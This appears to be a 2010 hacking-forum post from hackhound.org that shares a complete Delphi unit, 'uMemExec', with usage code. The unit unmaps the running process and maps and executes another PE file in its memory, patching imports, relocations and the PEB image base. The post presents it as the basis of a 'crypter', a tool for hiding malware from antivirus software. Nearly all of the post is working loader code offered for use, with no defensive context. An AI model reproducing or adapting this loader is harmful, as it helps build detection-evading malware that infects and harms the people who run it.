We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Jun 29, 2010 6:02:41 PM
Unit: uMemExec
Author: steve10120
Description: Map and execute a PE file in the calling process's memory.
Concept Credits: shapeless
Website: hackhound.org
History: First try
This memory injection unit shows you how to unmap the current process and map in a custom PE.
A full crypter coded by shapeless using this technique can be found here:
Unit:
unit uMemExec;interfaceuses Windows;type  PImageImportDescriptor = ^TImageImportDescriptor;  TImageImportDescriptor = packed record    OriginalFirstThunk: DWORD;    TimeDateStamp: DWORD;    ForwarderChain: DWORD;    Name: DWORD;    FirstThunk: DWORD;  end;  PImportByName = ^TImportByName;  TImportByName = packed record    Name1:        DWORD;  end;  PImageBaseRelocation = ^TImageBaseRelocation;  TImageBaseRelocation = packed record     VirtualAddress: DWORD;     SizeOfBlock: DWORD;  end;type  PFuncParams = ^TFuncParams;  TFuncParams = record    dwImageBase:  DWORD;    hThread:      DWORD;    pBuffer:      Pointer;    WaitForSingleObject:  function(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall;    UnmapViewOfFile:      function(lpBaseAddress: Pointer): BOOL; stdcall;    VirtualAlloc:         function(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: DWORD): Pointer; stdcall;    MessageBox:           function(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall;    RtlMoveMemory:        procedure(Destination, Source: Pointer; dwLength: DWORD); stdcall;    ExitProcess:          function(ExitCode:DWORD):DWORD;    GetProcAddress:       function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;    LoadLibrary:          function(lpLibFileName: PAnsiChar): HMODULE; stdcall;  end;procedure LoadPE(Params:PFuncParams);procedure EndProc();implementationprocedure LoadPE(Params:PFuncParams);var  pMem:     Pointer;  IDH:      TImageDosHeader;  INH:      TImageNtHeaders;  ISH:      TImageSectionHeader;  IID:      PImageImportDescriptor;  IBN:      PImportByName;  i:        DWORD;  hDll:     DWORD;  pWrite:   ^Pointer;  pBase:    Pointer;  IBR:      PImageBaseRelocation;  dwCount:  DWORD;  pItem:    PWORD;Label  SEHExit;begin  asm    push offset SEHExit    push fs:[0]    mov fs:[0], esp  end;  with Params^ do  begin    WaitForSingleObject(hThread, INFINITE);    IDH := TImageDosHeader(pBuffer^);    if IDH.e_magic = IMAGE_DOS_SIGNATURE then    begin      INH := TImageNtHeaders(Pointer(DWORD(pBuffer) + IDH._lfanew)^);      if INH.Signature = IMAGE_NT_SIGNATURE then      begin        if dwImageBase = INH.OptionalHeader.ImageBase then          UnmapViewOfFile(Pointer(INH.OptionalHeader.ImageBase));        pMem := VirtualAlloc(Pointer(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if pMem = nil then          pMem := VirtualAlloc(nil, INH.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if pMem <> nil then        begin          asm            push eax            push ecx            mov eax, fs:[30h]            mov ecx, pMem            mov [eax+8], ecx            pop ecx            pop eax          end;          RtlMoveMemory(pMem, pBuffer, INH.OptionalHeader.SizeOfHeaders);          for i := 0 to INH.FileHeader.NumberOfSections - 1 do          begin            ISH := TImageSectionHeader(Pointer(DWORD(pBuffer) + IDH._lfanew + 248 + i * 40)^);            if ISH.SizeOfRawData > 0 then              RtlMoveMemory(Pointer(DWORD(pMem) + ISH.VirtualAddress), Pointer(DWORD(pBuffer) + ISH.PointerToRawData), ISH.SizeOfRawData);          end;          if (INH.OptionalHeader.DataDirectory[1].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[1].Size > 0) then          begin            IID := PImageImportDescriptor(Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[1].VirtualAddress));            while IID^.Name <> 0 do            begin              hDll := LoadLibrary(PChar(Pointer(DWORD(pMem) + IID.Name)));              if hDll <> INVALID_HANDLE_VALUE then              begin                if IID.OriginalFirstThunk <> 0 then                  IBN := PImportByName(Pointer(DWORD(pMem) + IID.OriginalFirstThunk))                else                  IBN := PImportByName(Pointer(DWORD(pMem) + IID.FirstThunk));                pWrite := Pointer(DWORD(pMem) + IID.FirstThunk);                while IBN.Name1 <> 0 do                begin                  if (IBN.Name1 and $80000000) <> 0 then                    pWrite^ := GetProcAddress(hDll, PChar(IBN.Name1 and $ffff))                  else                    pWrite^ := GetProcAddress(hDll, PChar(DWORD(pMem) + IBN.Name1 + 2));                  Inc(IBN);                  Inc(pWrite);                end;              end;            Inc(IID);            end;            if (DWORD(pMem) <> INH.OptionalHeader.ImageBase) and ((INH.OptionalHeader.DataDirectory[5].VirtualAddress > 0) and (INH.OptionalHeader.DataDirectory[5].Size > 0)) then            begin              pBase := Pointer(DWORD(pMem) + INH.OptionalHeader.DataDirectory[5].VirtualAddress);              IBR := pBase;              while (DWORD(IBR) -  DWORD(pBase)) < INH.OptionalHeader.DataDirectory[5].Size do              begin                dwCount := Trunc((IBR.SizeOfBlock - 8) / 2);                pItem := Pointer(DWORD(IBR) + 8);                for i := 0 to dwCount - 1 do                begin                  if (pItem^ shr 12) = 3 then                    Inc(PDWORD(DWORD(pMem) + IBR.VirtualAddress + (pItem^ and $FFF))^, DWORD(pMem) - INH.OptionalHeader.ImageBase);                  pItem := Pointer(DWORD(pItem) + 2);                end;                IBR := Pointer(DWORD(IBR) + IBR.SizeOfBlock);              end;            end;            asm              mov eax, pMem              add eax, INH.OptionalHeader.AddressOfEntryPoint              // INT 3              jmp eax            end;          end;        end;      end;    end;  end;SEHExit:  ExitProcess(0);end;procedure EndProc(); begin end;end.Usage:
var  Params: PFuncParams;  dwNull: DWORD;  hKernel32:  DWORD;  pFunc:      Pointer;  dwSize:     DWORD;  pFile:      Pointer;begin  Params := VirtualAlloc(nil, SizeOf(Params^), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);  dwSize := DWORD(@EndProc) - DWORD(@LoadPE);  pFunc := VirtualAlloc(nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);  if Assigned(pFunc) then  begin    CopyMemory(pFunc, @LoadPE, dwSize);    Params.dwImageBase := GetModuleHandle(nil);    Params.hThread := GetCurrentThreadID;    hKernel32 := GetModuleHandle('kernel32.dll');    Params^.WaitForSingleObject := GetProcAddress(hKernel32, 'WaitForSingleObject');    Params^.UnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile');    Params^.VirtualAlloc := GetProcAddress(hKernel32, 'VirtualAlloc');    Params^.MessageBox := GetProcAddress(GetModuleHandle('user32.dll'), 'MessageBoxA');    Params^.RtlMoveMemory := GetProcAddress(hKernel32, 'RtlMoveMemory');    Params^.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess');    Params^.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');    Params^.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');    FileToMem('notepad.exe', pFile);    Params.pBuffer := pFile;    BeginThread(nil, 0, pFunc, Pointer(Params), 0, dwNull);    ExitThread(0);  end;end.